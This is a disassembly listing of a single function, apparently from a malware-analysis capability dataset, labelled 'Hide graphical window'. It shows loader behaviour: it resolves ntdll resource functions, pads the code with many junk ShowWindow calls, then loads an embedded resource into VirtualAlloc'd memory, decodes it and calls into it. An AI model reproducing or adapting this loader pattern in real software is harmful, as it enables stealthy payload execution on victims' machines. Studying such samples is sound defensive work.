Function at 0x10001e60
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x1004c004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push str.ntdll.dll
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0x17
mov dword [ebp - 0xc], 0x1e55
mov dword [ebp - 8], 0x409
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
call fcn.10001e10
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
push edi
call esi
push str.LdrAccessResource
push edi
mov dword [0x1004dd8c], eax
call esi
mov dword [0x1004dd20], eax
lea eax, [ebp - 0x20]
push eax
push 0x10049bec
call fcn.1000eca5
add esp, 4
push eax
lea eax, [ebp - 0x10]
push eax
push 0x10000000
call dword [0x1004dd8c]
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
mov edi, eax
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
push 0
push 0
call esi
test edi, edi
js 0x10002170
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x20]
push 0x10000000
call dword [0x1004dd20]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFileGather]
test eax, eax
je 0x10002196
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100024bb
mov esp, ebp
pop ebp
ret
push 0x10049bf0
call fcn.1000eca5
add esp, 4
push eax
push 0x10049bf0
call fcn.1000eca5
push 0x10049bf0
mov esi, eax
call fcn.1000eca5
add esp, 8
imul esi, eax
push esi
push dword [ebp - 0x14]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [ebp - 0x14]
mov esi, eax
push dword [ebp - 0x1c]
push esi
call fcn.1000cca0
lea eax, [ebp - 0x18]
push eax
call fcn.10001c90
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x18]
push eax
mov ecx, esi
call fcn.10001d20
add esp, 0x14
push dword [ebp - 0x14]
push esi
call fcn.10001824
push ecx
push eax
call fcn.10001839
call eax
push 0
push 0
push 0x10049b88
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100024bb
mov esp, ebp
pop ebp
ret